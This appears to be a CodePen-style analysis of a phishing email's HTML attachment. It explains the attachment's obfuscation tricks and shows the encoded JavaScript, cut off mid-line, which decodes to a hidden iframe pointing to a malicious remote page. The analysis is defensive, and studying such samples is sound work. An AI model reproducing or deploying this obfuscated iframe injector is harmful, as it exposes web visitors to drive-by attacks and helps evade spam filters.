Phishing Email Content
Analysis of a pretty run-of-the-mill phishing email, with an innocent-looking HTML attachment, containing an obfuscated script.
by austegard
HTML
<p>This is the content of a recent spam/phishing email I received.
<p>It starts off with some strange initialization and checks that only amount to setting i=0. It then deliberately causes an exception, and in the catch handler first initializes a single element array with a delimited string. <p>This string is in turn split into an array containing the character codes of the real script to be executed, each character code entry offset by 40. The rest of the script is an attempt to obfuscate the parsing and looping - presumably to hide the script from spam filters. <p>Finally the original code evals the new string containing the script - in my version it is safely dumped to the page instead for inspection. <p>As can be seen it attempts to create a hidden iframe directing the user to a nefarious location:
<p><b>!!! DO NOT FOLLOW THE RENDERED URL !!!</b>
<pre id="script"></pre>
<p><b>!!! DO NOT FOLLOW THE RENDERED URL !!!</b>CSS
#script {margin: 20px 0 20px -100px; background-color: pink}
p {margin: 10px;}
b {display: inline-block; color: red; font-size: x-large; border: solid 2px red}JavaScript
c=3-1;i=c-2;if(window.document)if(parseInt("0"+"1"+"2"+"3")===83)try{Boolean().prototype.q}catch(egewgsd){f=['-31i-31i65i62i-8i0i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i1i83i-27i-31i-31i-31i65i62i74i57i69i61i74i0i1i19i-27i-31i-31i85i-8i61i68i75i61i-8i83i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i79i74i65i76i61i0i-6i20i65i62i74i57i69i61i-8i75i74i59i21i-1i64i76i76i72i18i7i7i79i61i58i69i57i75i76i57i77i69i77i74i61i70i6i74i77i18i16i8i16i8i7i70i57i78i65i63i57i76i71i74i7i66i77i61i71i57i74i65i76i66i77i65i74i6i72i64i72i-1i-8i79i65i60i76i64i21i-1i9i8i-1i-8i64i61i65i63i64i76i21i-1i9i8i-1i-8i75i76i81i68i61i21i-1i78i65i75i65i58i65i68i65i76i81i18i64i65i60i60i61i70i19i72i71i75i65i76i65i71i70i18i57i58i75i71i68i77i76i61i19i68i61i62i76i18i8i19i76i71i72i18i8i19i-1i22i20i7i65i62i74i57i69i61i22i-6i1i19i-27i-31i-31i85i-27i-31i-31i62i77i70i59i76i65i71i70i-8i65i62i74i57i69i61i74i0i1i83i-27i-31i-31i-31i78i57i74i-8i62i-8i21i-8i60i71i59i77i69i61i70i76i6i59i74i61i57i76i61i29i68i61i69i61i70i76i0i-1i65i62i74i57i69i61i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i75i74i59i-1i4i-1i64i76i76i72i18i7i7i79i61i58i69i57i75i76i57i77i69i77i74i61i70i6i74i77i18i16i8i16i8i7i70i57i78i65i63i57i76i71i74i7i66i77i61i71i57i74i65i76i66i77i65i74i6i72i64i72i-1i1i19i62i6i75i76i81i68i61i6i78i65i75i65i58i65i68i65i76i81i21i-1i64i65i60i60i61i70i-1i19i62i6i75i76i81i68i61i6i72i71i75i65i76i65i71i70i21i-1i57i58i75i71i68i77i76i61i-1i19i62i6i75i76i81i68i61i6i68i61i62i76i21i-1i8i-1i19i62i6i75i76i81i68i61i6i76i71i72i21i-1i8i-1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i79i65i60i76i64i-1i4i-1i9i8i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i64i61i65i63i64i76i-1i4i-1i9i8i-1i1i19i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i6i57i72i72i61i70i60i27i64i65i68i60i0i62i1i19i-27i-31i-31i85'][0].split('i');v="ev"+"a"+"l";}if(v)e=window[v];w=f;s=[];r=String...